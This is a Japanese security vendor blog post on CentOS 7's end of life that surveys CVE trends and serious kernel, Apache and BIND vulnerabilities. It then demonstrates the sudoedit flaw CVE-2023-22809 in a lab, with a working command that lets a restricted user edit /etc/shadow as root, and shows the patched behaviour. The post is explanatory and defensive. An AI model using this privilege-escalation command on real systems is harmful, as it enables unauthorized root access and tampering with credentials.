採用情報

お問い合わせ

BLOG

Linux OS

2024 年 06 月 25 日

CentOS 7と脆弱性


企業がセキュリティ事故から身を守るためには「脆弱性と EOL(End Of Life: サポート終了)」にも気をつける必要があります。その中でも特に多くの企業で Red Hat Enterprise Linux の代替として使われている「CentOS Linux(以下、CentOS)」の EOL と脆弱性について説明します。

1. CentOS 7 の EOL は 2024 年 6 月

CentOS にも当然 EOL がありますが、中でも CentOS 7 は 2024 年 6 月 30 日で EOL を迎えます。 それ以降は、重大な脆弱性が発見されても開発本家のセキュリティアップデートが提供されなくなります。

一口に「セキュリティアップデートが提供されなくなります」と言っても、どれくらいの影響があるのか判断しにくいと思います。そこで実際に、2021 年〜2023 年に公開された脆弱性がどの程度あり、その中で CentOS 7/Red Hat Enterprise Linux 7(以下、RHEL7 と省略)も脆弱性を悪用される対象となっており、パッケージが更新されたものがどの程度あったかを見てみましょう。

2. 過去の公開された脆弱性の推移と CentOS 7 への影響

2-1. 全ての脆弱性の推移(2021-2023)

こちらのグラフは 2021-2023 で発行された CVE(脆弱性を識別するための識別子)の総数になります。こちらは全ての脆弱性の数になりますので、Cisco や Fortigate といったようなネットワークデバイスの脆弱性から、Linux や Windows/Mac といった OS、アプリケーション、iPhone/Android などのスマートフォンまで全ての製品が対象となっています。

2021-2023 で発行された CVE(脆弱性)数(2022/10 は 2000 年代の CVE が多く追加)

見てもわかる通り、2022 年 10 月だけ 200x 年代の CVE が多く発行されたため突出していますが、基本的には月平均 2500 前後で右肩上がりに増加しています。

単純に「月 2500 程度」と言いますが、平均すると一日 80-90 件の脆弱性が報告されている計算になります(繰り返しになりますが、HW や SW、スマホなど全製品を含んだ数です)。これだけでも、皆様が思っているよりもかなり頻繁に脆弱性が見つかっていると言うことが理解できると思います。

2-2. CentOS 7/RHEL7 対象の脆弱性の推移(2021-2023)

こちらのグラフは、CentOS 7/RHEL7 で 2021 年以降に修正された CVE(つまり脆弱性)の数になります。

RHEL7/CentOS で脆弱性修正されたパッケージ数(2021-2023)

前出のグラフは「全ての製品」でしたので桁が違いますが、単純に「CentOS 7/RHEL7 が対象となっており」「パッケージの更新が必要となる」ものは月平均で 25-30 程度あることがわかります。これに関しては、やや右肩下りで減ってきているように見えますが、単純に考えると 2024 年にも月平均で 10-20 件ぐらいの「パッケージ更新が本当は必要な脆弱性」が出てくるのではないかと予想ができます。

2-3. CentOS 7/RHEL7 で緊急度の高い脆弱性の例

実際に CentOS 7/RHEL7 にも影響を及ぼすような「緊急度の高い脆弱性」が公開された例を直近でいくつか挙げてみましょう。

まずは、Linux Kernel の脆弱性で CentOS 7/RHEL7 に及ぼす影響が「Important」以上のものを調べてみます。2023 年に公開された脆弱性だけでも 14 件ありました。下はその中の数例です。

  1. Linux Kernel の net/sched の脆弱性 (Important: CVE-2023-3609)
    1. Linux Kernel の net/sched: cls_u32 コンポーネントに use-after-free の脆弱性が見つかりました。これによりローカルユーザーが権限昇格できる可能性があります。
  2. Linux Kernel の SYSCTL サブシステムでスタックオーバーフローの脆弱性 (Important: CVE-2022-4378)
    1. Linux Kernel の SYSCTL サブシステムでスタックオーバーフローの脆弱性が見つかりました。この脆弱性を利用してローカルユーザーがシステムをクラッシュさせたり特権を昇格することができる可能性があります。
  3. Linux Kernel の nf tables の脆弱性 (Important: CVE-2023-32233)
    1. Linux Kernel の Netfilter nf_tables (net/netfilter/nf_tables_api.c) に use-after-free の脆弱性が見つかりました。この脆弱性を利用して、ローカルの非特権のユーザーが任意の kernel コードを実行したり、情報漏えいの問題を引き起こすことができる可能性があります。

さらに上で動くアプリケーションも含めると、2023 年に公開された脆弱性は 118 に膨れ上がります。下はその中の数例です。

  1. Apache HTTP Server の脆弱性情報 (Important: CVE-2023-25690)
    1. mod_rewrite と mod_proxy による HTTP リクエスト分割
      特定の mod_proxy 設定により HTTP リクエストスマグリング攻撃が許可されてしまいます。このため、意図しない URL がオリジンサーバーにプロキシされ、キャッシュポイズニングが発生する可能性があります。
  2. BIND 9 の脆弱性情報 (Hig: CVE-2023-2828, CVE-2023-2829, CVE-2023-2911)
    1. CVE-2023-2828
      特定の順序で特定の RRset をリゾルバにクエリした際に、named で使用されるキャッシュクリーニングアルゴリズムが意味をなさなくなり、設定された最大キャッシュサイズ制限を大幅に超える可能性があることがわかりました。この脆弱性を悪用することで、攻撃者は named が動作しているホストの有効なメモリを食いつぶさせることが出来、DoS に繋がります。
    2. CVE-2023-2829
      DNSSEC 検証再帰リゾルバとして実行されるように構成された named インスタンスは、不正な形式の NSEC レコードを持つゾーンを使うことでリモートから終了させることが出来ます。これにより、特別に細工されたクエリをリゾルバに送ることで、攻撃者はリモートの named を終了させることが可能です。
    3. CVE-2023-2911
      stale-answer-enable yes; でかつ stale-answer-client-timeout 0; と設定された BIND 9 リゾルバに特別に細工されたクエリを送り込むことで、named をループに陥れてスタックオーバーフローにより named を強制終了させることが可能です。

3. 脆弱性悪用の例(sudo の脆弱性:Important: CVE-2023-22809)

以下では、実際に 01/19/2023 に公開された "sudo -e" オプション (sudoedit) の脆弱性 (CVE-2023-22809) の悪用例を見てみたいと思います。

この脆弱性は「EDITOR 変数に "-" という引数を含めることで、何らかのファイルに書き込めるように設定されているユーザは任意のファイルを編集することが出来る」というもので、脆弱性の深刻度を表す CVSS では Base Score で「7.8 High」とされています。

3.1 CVSS 情報

  • 影響するバージョン
    • 1.8.0 - 1.9.12p1
  • 一時情報源
  • Priority
    • Red Hat: Imporntant
  • CVSS
    • Base Score: 7.8
    • Red Hat: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

3.2 PoC

3.2.1 マシン環境
CPU Ryzen 7 PRO 4750U with Radeon Graphics
Memory 2G
Machine VMWare ゲスト環境を使用
OS CentOS Linux release 7.9.2009 (Core)
ホスト名 CentOS7
Update インストール直後の状態で yum update をしていない状態
sudo バージョン Sudo バージョン 1.8.23
vim バージョン 7.4.629
3.2.2 前提条件:sudo 設定
  1. sudo を実行できるユーザーとして「sudotest」を作成しています。sudotest は /etc/sudoers により、/var/tmp/readonly/edittest ファイルのみを sudoedit コマンド ( 実際には "sudo -e" が起動 ) で編集できる権限を与えられています。
    ## Allow root to run any commands anywhere 
    root	ALL=(ALL) ALL
    sudotest	ALL=(ALL:ALL) sudoedit /var/tmp/readonly/edittest
  2. /var/tmp/readonly ディレクトリは、root のみが読み込みでアクセスできるように設定されています。/var/tmp/readonly ディレクトリ内に root が読み書きできる「edittest」ファイルが存在します。
    [root@centos7 ~]# ls -l /var/tmp |grep readonly
    dr--------. 2 root root   22  4 月  7 13:35 readonly
    [root@centos7 ~]# ls -l /var/tmp/readonly/
    合計 4
    -rwx------. 1 root root 44  4 月  7 13:36 edittest
  3. sudotest ユーザーは /var/tmp/readonly/edittest を sudoedit コマンド ( 実際には "sudo -e" が起動 ) で編集できます。
    [sudotest@centos7 ~]$ sudoedit /var/tmp/readonly/edittest
    --sudoedit により編集が可能 --
    This file is ReadOnly. sudotest user can modify it.
  4. sudotest ユーザーは sudo を用いて sudoedit コマンド以外を実行することはできません。
    [sudotest@centos7 ~]$ sudo ls /var/tmp/readonly/ediittest
    [sudo] sudotest のパスワード :
    残念ですが、ユーザー sudotest は '/bin/ls /var/tmp/readonly/ediittest' を root として centos7.localhost 上で実行することは許可されていません。
  5. sudotest ユーザーは、当然 /var/tmp/readolny/edittest 以外は sudoedit コマンドでもアクセスできません。
    [sudotest@centos7 ~]$ sudo sudoedit /etc/shadow
    [sudo] sudotest のパスワード :
    残念ですが、ユーザー sudotest は '/bin/sudoedit /etc/shadow' を root として centos7.localhost 上で実行することは許可されていません。
3.2.3 PoC
  1. sudotest ユーザーが「EDITOR="" の環境変数を指定し、"-" を渡すようにします。」
    [sudotest@centos7 ~]$ EDITOR="vim -- /etc/shadow" sudoedit /var/tmp/readonly/edittest
    
  2. sudotest ユーザーが /var/tmp/readonly/edittest を開く前に、root ユーザーとして /etc/shadow ファイルを vim で開いてしまいます。root ユーザーなので、もちろん編集が可能になります。
    root:$xxxx( 伏せ字 )xxxxx.::0:99999:7:::
    bin:*:18353:0:99999:7:::
    - 省略 -
    sshd:!!:19820::::::
    sudotest:$xxx( 伏せ字 )xxxxx.:19820:0:99999:7:::
    apache:!!:19820::::::
    This is a test                        <--- sudotest ユーザーが書き込むことが出来る
    
  3. root で /etc/shadow ファイルを確認すると、編集されていることがわかります。
    [root@centos7 ~]# cat /etc/shadow
    root:$xxxx( 伏せ字 )xxxxx.::0:99999:7:::
    bin:*:18353:0:99999:7:::
    - 省略 -
    sshd:!!:19820::::::
    sudotest:$xxx( 伏せ字 )xxxxx.:19820:0:99999:7:::
    apache:!!:19820::::::
    This is a test                        <--- sudotest ユーザーによって書き込まれてしまった。
    

3.3 修正

"yum update" コマンドで sudo のバージョンを新しくすることで、この脆弱性は回避できます。下記は、アップデート後の sudo で同様に EDITOR="" を使って "--" を入れた結果です。

[sudotest@centos7 ~]$ sudo --version
Sudo バージョン 1.8.23
sudoers ポリシープラグイン  バージョン 1.8.23
sudoers ファイル文法バージョン 46
Sudoers I/O plugin version 1.8.23
[sudotest@centos7 ~]$ EDITOR="vim -- /etc/shadow" sudoedit /var/tmp/readonly/edittest
sudoedit: ignoring editor: vim -- /etc/shadow
sudoedit: editor arguments may not contain "--"

3.4 この脆弱性の想定被害範囲

この脆弱性に関しては

  1. 元々sudo で何らかのファイルにアクセス権限が与えられているユーザーが必要になる
  2. local にログインしてそのユーザーとしてコマンドを実行する必要がある

と、悪用に関してハードルが高い前提条件が存在するため、単独ではあまり悪用される可能性が高いとは思えません。

しかし、2. に関しては別の脆弱性の悪用や認証情報の不正入手などでログインできる可能性があるため、他の脆弱性や攻撃と組み合わせて使用されると厄介なことになるでしょう。

4. EOL の後、どうなるか?

上述したような PoC やその他の脆弱性のようなタイプの脆弱性は、EOL の後は基本的に「修正されません」。

例えば、2014 年に「ShellShock」と呼ばれる bash の重大な脆弱性が公開され、多数の Linux ディストリビューションが影響を受けました。影響を受けるディストリビューションには当時 EOL になった「CentOS 4」も含まれていたのですが、CentOS のサイトでは ShellShock の脆弱性を修正した bash パッケージはリリースされませんでした。

OS やミドルウェアの EOL に関しては充分気をつけておき、EOL が近くなった場合にはすぐにメジャーバージョンの更新や、メジャーバージョンの更新が難しい場合には暫定処置をすぐに取れるようにしておくことが重要です。前述のように、現状でも 1 ヶ月辺り平均で 10-20 のパッケージ更新がされていると言うことは、EOL 後も同様の状況が発生する可能性が充分にあるため、非常にリスクとなるからです。

5. 参照リンク

この記事の著者

OSS/ セキュリティ / 脅威インテリジェンスエバンジェリスト
面 和毅

本記事に関連するリンク
CentOS 7 延長サポートサービス
デジタルトランスフォーメーションのための電子認証基盤 iTrust
SSL/TLS サーバー証明書 SureServer Prime